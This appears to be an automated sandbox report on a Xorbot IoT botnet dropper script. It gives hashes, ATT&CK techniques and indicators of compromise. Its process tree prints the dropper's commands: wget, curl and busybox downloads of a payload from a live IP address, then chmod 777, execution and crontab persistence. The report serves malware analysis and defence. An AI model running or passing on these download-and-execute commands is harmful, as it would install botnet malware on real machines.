xorbot | 651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-12-2024 02:17

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General

Target

bins.sh
Size

10KB
MD5

2e0f38cfc6726b8feda8dfd9a839df81
SHA1

d140fedfb105520013211fe1a1abbc9de5d560d0
SHA256

651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af
SHA512

900ecfb5f6760b7523bd53f377a30abdad640c34b4d3d180da8449bd8c84b7f47d41c80fa4757a289a1a99b14d657a1ddeffde3baa9b7dccfee61266bd76c029
SSDEEP

192:M/fXV8QRDE/Lj23cEns7Vw8sLjwEc7r//Lj23cFVw86DwEc7ri/fXV8QM:M/fXV8QRDE/Lj23cEns70W/Lj23cFq/C

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1492	chmod

Executes dropped EXE 1 IoCs

Processes:

NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

ioc	pid	Process
/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	1493	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Renames itself 1 IoCs

Processes:

NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

pid	Process
1494	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.6Nd7rA	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

description	ioc	Process
File opened for reading	/proc/1541/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/155/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/249/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/516/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1596/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/6/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1520/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1524/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/442/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1143/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1258/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1518/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1601/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/5/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/19/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/325/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/167/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1523/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1135/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1591/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1469/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1550/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1592/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/165/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1033/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1231/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1334/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1585/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1599/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/417/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/660/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1069/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/85/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/157/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1540/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/164/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1565/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/17/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/23/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/82/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/21/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/482/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/649/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1578/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/323/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1155/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1526/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/35/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1553/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1080/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1144/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1538/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1546/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1602/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/13/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/171/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1057/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1566/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/22/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1121/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1563/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/1548/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/36/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
File opened for reading	/proc/78/cmdline	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	wget
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	curl
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1473
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1474
- /usr/bin/wget
  wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:1475
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  ./NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1493
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1495
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1496
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1497
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1498
- /bin/rm
  rm NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.6Nd7rA

Filesize
210B

MD5
3efba4f05a4e3daa584b8156db68f7df

SHA1
54a321a497cf62298d07f1016920ea29492dcebe

SHA256
c76b7c1f0008a558c8e6a7ff650e9f19998306936aa8f49c14194c8c5f683450

SHA512
26ee12284f7f7180189835e822d3b72b1bf9db11a52a91e87289059c63bdfda190d0745496dc35c7644b2084a7c697e7dfe497fac6f3b94591bd2b468c8838f6

Download Submit